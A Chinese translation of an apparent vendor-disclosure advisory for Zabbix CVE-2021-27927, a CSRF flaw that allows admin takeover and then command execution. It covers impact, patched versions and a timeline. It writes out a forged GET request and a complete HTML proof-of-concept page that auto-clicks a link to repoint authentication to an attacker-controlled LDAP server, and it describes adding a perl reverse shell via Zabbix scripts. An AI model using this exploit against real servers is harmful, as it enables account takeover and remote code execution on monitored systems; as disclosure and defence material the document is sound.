原文地址:https://www.horizon3.ai/disclosures/zabbix-csrf-to-rce

概述

Zabbix是一个企业级IT网络和应用监控解决方案。在对其源代码的例行审查过程中,我们在Zabbix UI的身份验证组件中发现了一个CSRF(跨站点请求伪造)漏洞。利用该漏洞,攻击者无需经过身份验证,只要诱使Zabbix管理员点击恶意链接,就能接管Zabbix管理员的帐户。即使浏览器设置了默认的SameSite=Lax Cookie保护,攻击者也能在所有浏览器中利用该漏洞。目前,该漏洞已在Zabbix 4.0.28rc1、5.0.8rc1、5.2.4rc1和5.4.0alpha1版本中得到修复。

漏洞的影响

这个漏洞的影响很大:虽然利用该漏洞需要用户的交互,但成功利用漏洞就能完全接管Zabbix管理员帐户。获取Zabbix的管理权限后,攻击者不仅能访问网络上其他设备的各种信息,还能够在Zabbix服务器上执行任意命令。在某些配置中,攻击者甚至还可以在Zabbix监视的主机上执行任意命令。

CVSS向量:AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

在撰写本文时,互联网上大约有20k个Zabbix实例,这些都是在Shodan网站上通过关键字“html:Zabbix”搜索到的。

补救措施

至少升级到Zabbix 4.0.28rc1、5.0.8rc1、5.2.4rc1或5.4.0alpha1版本

背景知识

CSRF漏洞的利用原理如下所示:

首先,用户(受害者)已经登录到一个存在漏洞的网站(目标网站)。在这种情况下,“已经登录”只是意味着用户的浏览器内存储了一个有效的会话cookie或目标网站的基本认证凭证,但是浏览器应用程序不一定需要打开。

接下来,攻击者利用社会工程来说服受害用户点击指向恶意攻击者控制的网站的链接。实际上,实现这一目的的方法有很多种,如钓鱼邮件,或聊天时发送恶意链接等。

当受害者访问恶意网站时,来自恶意网站的HTML/JavaScript代码会被加载到受害者的浏览器中。然后,这些代码会向目标网站发送API请求。由于来自恶意网站的请求在受害者的浏览器看来是合法的,因此,受害者的浏览器会将用户的会话cookie和请求一起发送给恶意网站。

恶意请求将传递给目标网络应用,但是,目标网络应用程序无法判断该请求是来自恶意的源。所以,目标网络应用程序将代表攻击者执行他们请求的操作。CSRF攻击通常会滥用与身份验证相关的操作,如创建或修改用户或更改密码。

CSRF的防御措施

在抵御CSRF攻击时,最常用的方法是使用反CSRF令牌。这些令牌就是随机生成的一段数据,并作为从应用程序的前端代码发送给后端的请求的一部分。之后,后端会同时验证反CSRF令牌和用户的会话Cookie。这些令牌可以作为HTTP标头传输,也可以放到请求正文中进行传输,但不能作为Cookie传输。如果实现不出现纰漏的话,这种方法完全可以挫败CSRF攻击,因为攻击者很难通过手工方式创建包含正确的反CSRF令牌的伪造请求。

对于Zabbix来说,其反CSRF令牌是以sid参数的形式通过请求正文来传递的。例如,下面是将Zabbix Admin用户密码更新为值zabbix1的请求:

如果sid参数丢失或不正确,该请求将失败。

此外,Same-Site cookie属性也能为防御CSRF攻击起到一定的作用。通过该设置,可以规定浏览器何时可以将cookie作为跨站点请求的一部分传输到站点。这个属性具有三个值,分别为StrictLaxNone

  • Same-Site = Strict:绝对不能将Cookie作为跨站点请求的一部分发送。
  • Same-Site = Lax:仅当Cookie是GET请求并影响顶级导航(即导致浏览器地址栏的更改),才将Cookie作为跨站点请求的一部分发送。单击链接被认为是顶级导航,而加载图像或脚本则不是。GET请求通常被认为是安全的,因为它们通常不会改变任何后端状态。
  • Same-Site-None:为所有跨站请求发送Cookie。

Web应用程序开发人员可以选择显式设置Same-Site属性的值,并将其作为在用户进行身份验证后将cookie发送到前端的一部分。如果未显式地设置该属性,现代浏览器会将其默认值设置为Lax——Zabbix就属于这种情况,由于Same-Site属性未设置,所以默认为Lax

Zabbix CVE-2021-27927

如上所述,Zabbix使用了反CSRF令牌,这些令牌可以有效抵御试图利用添加和修改用户和角色等操作的CSRF攻击。然而,我们发现了一个重要的场景,在这个场景中,系统并不会对反CSRF令牌进行验证:对应用程序的身份验证设置进行更新时。

这个表单控制登录Zabbix时使用的身份验证类型,它可以是“Internal”或“LDAP”类型。如果是LDAP类型,还可以设置LDAP主机和端口、基准域名等LDAP提供者的详细信息。

但是,处理这个表单提交的后端控制器类CControllerAuthenticationUpdate却关闭了令牌验证,具体如下图所示:

此外,同样重要的是,我们发现在Zabbix中,通过POST在请求正文中提交的任何参数都可以等效地通过GET作为URL查询参数来提交。这意味着,下面缺少sid参数的、伪造的GET请求,与包含sid的合法POST请求是等效的。

GET /zabbix.php?form_refresh=1&action=authentication.update&db_authentication_type=0&authentication_type=1&http_auth_enabled=0&ldap_configured=1&ldap_host=10.0.229.1&ldap_port=389&ldap_base_dn=dc%3Dsmoke%2Cdc%3Dnet&ldap_search_attribute=sAMAccountName&ldap_bind_dn=cn%3DAdmin%2CCN%3DUsers%2CDC%3Dsmoke%2CDC%3Dnet&ldap_case_sensitive=1&action_passw_change=authentication.edit&ldap_test_user=Admin&ldap_test_password=Z@bb1x!&saml_auth_enabled=0&update=Update

上面的请求的作用,是把身份验证类型改为LDAP,并设置各种LDAP属性。

Exploit

为了完成整个攻击过程,攻击者需要执行下列操作:

首先,建立一个由攻击者控制的LDAP服务器,这样目标Zabbix应用就可以通过网络访问该服务器了。在本例中,我们使用了一个地址为10.0.229.1的Active Directory服务器。此外,我们还在该服务器中配置了一个名为“Admin”的用户(与内置的Zabbix管理员用户名一致),其密码为“Z@bb1x!”。

然后,托管一个包含恶意HTML页面的网站。在我们的例子中,我们创建了一个HTML页面,其中包含一个带有伪造的跨站请求的链接。加载该页面后,该链接会通过JavaScript自动点击。这就满足了“顶级导航(top-level navigation)”的要求。

<html>
<body>

  <p>Any web site</p>
  <a id='link' href='http://192.168.0.140/zabbix.php?form_refresh=1&action=authentication.update&db_authentication_type=0&authentication_type=1&http_auth_enabled=0&ldap_configured=1&ldap_host=10.0.229.1&ldap_port=389&ldap_base_dn=dc%3Dsmoke%2Cdc%3Dnet&ldap_search_attribute=sAMAccountName&ldap_bind_dn=cn%3DAdmin%2CCN%3DUsers%2CDC%3Dsmoke%2CDC%3Dnet&ldap_case_sensitive=1&action_passw_change=authentication.edit&ldap_test_user=Admin&ldap_test_password=Z@bb1x!&saml_auth_enabled=0&update=Update'></a>
  <script>
    document.getElementById('link').click();
  </script>

</body>
</html>

最后,诱使被害者即Zabbix Admin用户单击指向恶意站点的链接。用户一旦上当,Zabbix管理员就会看到站点上的身份验证设置被自动更新,具体如下所示:

此时,攻击者可以用自己的Admin用户凭证登录。顺便说一句,受害者Zabbix Admin的会话仍然是有效的,直到他/她注销为止。

这种特殊的CSRF攻击的一个有趣的地方在于,它不是“盲打”。这是因为Zabbix会使用测试用户和密码来验证LDAP服务器的连接,这是处理身份验证设置表单提交的一部分。攻击者可以通过Zabbix应用程序连接到他/她自己的LDAP服务器,从而立即获悉CSRF攻击是否得手。一旦测试连接成功,攻击者就可以自动登录到受害者的Zabbix服务器并进行进一步的操作。

远程命令执行

一旦攻击者获得了管理员权限,他/她就可以轻松地获得远程命令执行权限,因为这是该产品的一个内置功能。实际上,UI的Scripts部分,就是专门存放在Zabbix服务器、Zabbix服务器代理或Zabbix代理(代理运行在被Zabbix监控的主机上)上执行任何命令的。

例如,要在Zabbix服务器上获取一个反向shell,攻击者可以修改内置的Detect Operating Systems脚本,以添加如下所示的perl反向shell payload:

然后,在仪表板页面上执行该脚本:

获取反向shell:

根据具体的配置情况,攻击者也可以在服务器代理或代理上运行远程命令。这方面的更多细节,请参考Zabbix文档。

时间线

  • 2021年1月3日,向供应商披露相关漏洞。
  • 2021年1月13日,供应商修复了代码中的漏洞。
  • 2021年2月22日,供应商为所有支持的版本提供了相应的新版本
  • 2021年3月3日,公开漏洞细节。

参考资料

点击收藏 | 3 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖